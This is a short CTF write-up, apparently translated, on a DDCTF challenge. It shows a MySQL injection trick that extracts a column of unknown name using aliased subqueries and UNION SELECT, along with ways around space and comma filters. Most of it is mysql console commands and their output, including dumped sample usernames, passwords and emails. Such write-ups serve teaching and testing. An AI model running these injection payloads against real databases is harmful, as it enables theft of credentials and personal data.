How Mysql cleverly bypasses unknown field names

How Mysql cleverly bypasses unknown field names

Preface

This article introduces the fifth topic of DDCTF, which is used to bypass unknown field names. Here we use this machine for operations. The idea is great and clear. Let's share it with you. Let's take a look at the detailed introduction below:

Implementation

Question Filtering: space and comma. % 0a, % 0b, % 0c, % 0d, % a0, or parentheses can be used directly. commas can be used to bypass join;

The field name for storing the flag is unknown. information_schema.columns also filters the hex of the table name, that is, the field name cannot be obtained. In this case, you can use the joint query procedure as follows:

The idea is to obtain the flag so that it appears under a known field name;

Sample Code:

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;+---+---+---+---+| a | b | c | d |+---+---+---+---+| 1 | 2 | 3 | 4 |+---+---+---+---+1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;+---+---+---+---+| 1 | 2 | 3 | 4 |+---+---+---+---+| 1 | 2 | 3 | 4 |+---+---+---+---+1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;+---+-------+----------+-------------+| 1 | 2  | 3  | 4   |+---+-------+----------+-------------+| 1 | 2  | 3  | 4   || 1 | admin | admin888 | 110@110.com || 2 | test | test123 | 119@119.com || 3 | cs | cs123 | 120@120.com |+---+-------+----------+-------------+4 rows in set (0.01 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;+-------------+| 4   |+-------------+| 4   || 110@110.com || 119@119.com || 120@120.com |+-------------+4 rows in set (0.03 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3; +-------------+| 4   |+-------------+| 120@120.com |+-------------+1 row in set (0.01 sec) mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)dunion select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;+-------------+----------+----------+-------------+| id   | username | password | email  |+-------------+----------+----------+-------------+| 1   | admin | admin888 | 110@110.com || 120@120.com | 1  | 1  | 1   |+-------------+----------+----------+-------------+2 rows in set (0.04 sec)

Summary

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